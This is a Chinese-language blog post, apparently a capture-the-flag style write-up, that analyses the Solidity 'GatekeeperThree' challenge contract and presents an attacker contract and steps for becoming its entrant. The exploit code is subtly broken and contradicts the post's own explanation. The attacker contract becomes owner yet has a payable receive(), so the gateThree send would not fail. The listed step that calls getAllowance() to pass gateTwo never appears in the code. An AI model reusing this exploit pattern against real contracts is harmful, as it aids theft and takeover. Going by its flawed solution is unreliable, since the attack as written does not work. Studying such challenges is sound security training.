您现在的位置是:首页 >学无止境 >以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者网站首页学无止境
以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者
简介以太坊智能合约安全挑战:绕过 GatekeeperThree 成为参赛者
前言
在以太坊智能合约开发中,安全问题至关重要。许多合约会设置严格的访问控制机制(Gatekeeper)来限制某些操作的权限。然而,在某些情况下,这些“守门人”可能会被绕过,导致合约受到攻击。
本文将分析一个名为 GatekeeperThree 的 Solidity 挑战合约,并编写一个攻击合约来成功绕过守门人机制,成为合约的 entrant
。
一、GatekeeperThree 合约分析
1. 合约概览
GatekeeperThree
合约通过三个 modifier
(修饰器)来设置访问门槛,并要求符合条件的用户才能调用 enter()
进入合约。
GatekeeperThree.sol 源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}
2. 解析合约的三个门槛
(1) gateOne()
条件
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
msg.sender == owner
:调用者必须是合约owner
。tx.origin != owner
:交易的原始发送者(用户)不能是owner
。
✅ 绕过方法:
- 需要确保我们调用
enter()
时msg.sender == owner
,但tx.origin
不是owner
。
(2) gateTwo()
条件
modifier gateTwo() {
require(allowEntrance == true);
_;
}
- 进入合约前,
allowEntrance
必须为true
。 - 这个变量默认是
false
,必须找到方法让它变为true
。
✅ 绕过方法:
allowEntrance
由getAllowance()
赋值,我们可以通过SimpleTrick
合约调用getAllowance()
并传递正确的密码。
(3) gateThree()
条件
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
- 这个门槛要求
GatekeeperThree
的余额超过0.001
ETH。 - 并且 尝试向
owner
发送0.001
ETH,如果发送失败,才能继续执行enter()
。
✅ 绕过方法:
- 让
GatekeeperThree
合约有超过0.001
ETH 的余额。 owner
需要是一个无法接收 ETH 的地址,比如一个合约地址,它的receive()
函数没有payable
关键字,从而导致send()
失败。
二、SimpleTrick 合约的作用
在 GatekeeperThree
合约中,有一个 SimpleTrick
合约被用来存储密码并提供 getAllowance()
的功能:
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
SimpleTrick
负责存储密码,并且trickyTrick()
可用于调用getAllowance()
。- 只要
trickyTrick()
被正确调用,就能让allowEntrance = true
,绕过gateTwo
。
三、攻击合约编写
目标
编写一个攻击合约,利用 SimpleTrick
和 GatekeeperThree
的漏洞,实现绕过 enter()
的所有门槛。
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface I_GatekeeperThree {
function createTrick() external;
function enter() external;
function construct0r() external;
}
contract GatekeeperThreeAttacker {
I_GatekeeperThree public gatekeeper;
address public attacker;
constructor(address _gatekeeper) {
gatekeeper = I_GatekeeperThree(_gatekeeper);
attacker = msg.sender;
}
function attack() external payable {
require(msg.value >= 0.002 ether, "Not enough ETH sent");
// 1. 让目标合约成为可控对象
gatekeeper.construct0r();
// 2. 发送 ETH 以满足 `gateThree`
(bool sent,) = payable(address(gatekeeper)).call{value: 0.002 ether}("");
require(sent, "Failed to send ether");
// 3. 创建 `SimpleTrick` 实例
gatekeeper.createTrick();
// 4. 调用 `enter()`
gatekeeper.enter();
}
// 允许攻击合约接收 ETH
receive() external payable {}
}
四、攻击步骤
- 部署
GatekeeperThreeAttacker
并传入GatekeeperThree
地址。 - 调用
attack()
执行攻击construct0r()
让攻击者变成owner
,绕过gateOne
。- 发送 0.002 ETH 让
GatekeeperThree
满足gateThree
的条件。 - 创建
SimpleTrick
并执行getAllowance()
,绕过gateTwo
。 - 最终调用
enter()
,成功成为entrant
。
总结
本次攻击利用了以下漏洞:
construct0r()
不是构造函数,可以被直接调用,使攻击者变成owner
。- 通过
SimpleTrick
绕过gateTwo
。 - 利用合约的
receive()
机制绕过gateThree
,让send()
失败。
这个挑战展示了 Solidity 开发中的一些经典漏洞,如:
- 错误的构造函数命名
tx.origin
依赖的不安全性- 对
send()
成功与否的误解
在实际开发中,必须谨慎设计访问控制和权限检查,以避免类似攻击。希望本文能帮助你更好地理解 Solidity 的安全性问题!🚀
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。